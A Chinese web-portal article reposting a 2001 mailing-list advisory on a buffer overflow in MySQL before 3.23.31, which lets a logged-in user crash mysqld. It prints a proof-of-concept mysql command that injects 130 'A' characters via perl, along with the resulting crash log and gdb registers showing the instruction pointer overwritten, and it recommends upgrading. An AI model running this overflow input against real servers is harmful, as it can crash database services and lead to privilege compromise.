动网论坛,站长建站首选,国内使用量最多的论坛软件 动网论坛官方技术讨论区 站长工具 申请属于您自己的免费论坛
首页 | 新闻资讯 | 网站运营 | 网络编程 | 数据库 | 服务器 | 网页设计 | 图像媒体 | 网络应用 | 搜索优化 | 资源下载 | 动网主机 | DVBOX
    本站内  互联网 ASP论坛  ASP.Net论坛  PHP论坛
   数据库 → 阅读文章

 MySQL3.23.31之前版本的安全漏洞

作者来源: 
阅读 1059 人次 , 2006-5-8 14:31:00 


  所有小于 3.23.31 版本的 MySQL 都存在一个缓冲溢出漏洞导致MySQL 崩溃。使攻击者获得 mysqld 权限,而可以操纵所有数据库。攻击的前提是必须有一个合法的登录名和口令。



下面为最初发表于 MySQL 邮件列表的信件摘要。

==================================================


漏洞是由Jo?o Gouveia 于1月12日发现的:

步骤:


在第一个终端上启动 mysql:


spike:/var/mysql # /sbin/init.d/mysql start


在另外一个终端上输入:

jroberto@spike:~ > mysql -p -e ’select a.’`perl -e’printf("A"x130)’`’.b’

Enter password:

(没有反应?按^C退出)


在第一台终端上会显示:


spike:/var/mysql # /usr/bin/safe_mysqld: line 149: 15557 Segmentation fault

nohup

$ledir/mysqld --basedir=$MY_BASEDIR_VERSION --datadir=$DATADIR --skip-lockin

g "$@" >>$err_log 2>&1>

Number of processes running now: 0

mysqld restarted on Fri Jan 12 07:10:54 WET 2001

mysqld daemon ended


使用 gdb 显示结果如下:


(gdb) run

Starting program: /usr/sbin/mysqld

[New Thread 16897 (manager thread)]

[New Thread 16891 (initial thread)]

[New Thread 16898]

/usr/sbin/mysqld: ready for connections

[New Thread 16916]

[Switching to Thread 16916]


Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb) info all-registers

eax 0x1 1

ecx 0x68 104

edx 0x8166947 135686471

ebx 0x41414141 1094795585

esp 0xbf5ff408 0xbf5ff408

ebp 0x41414141 0x41414141

esi 0x41414141 1094795585

edi 0x0 0

eip 0x41414141 0x41414141

eflags 0x10246 66118

cs 0x23 35

ss 0x2b 43

ds 0x2b 43

es 0x2b 43

fs 0x0 0

gs 0x0 0


其中的 eip 指示就是缓冲溢出了。


解决办法就是升级到 3.23.31。所以,各位如果还没有把数据库升级到最新版本,请赶快行动。
  
 本文Tagsmysql  安全  数据库  病毒  
 收藏本文  打印本文  论坛讨论  关闭窗口
· 上一篇:向MySQL增加新用户权限
· 下一篇:如何修护MYSQL数据表
· mysql让存储结果分页,用于复杂查询
· 从sql server数据库导入mysql数据库的体验
· 自动运行管理任务──作业
· Oracle数据库的备份与恢复
· MySQL Join詳解


关于本站 | 联系我们 | 业务合作 | 客户案例 | 诚聘英才 | 广告合作 | 收藏本站
海口动网先锋网络科技有限公司版权所有
Copyright © 2000 - 2006 Cndw.Com
中华人民共和国电信与信息服务业务经营许可证编号 琼 ICP 020077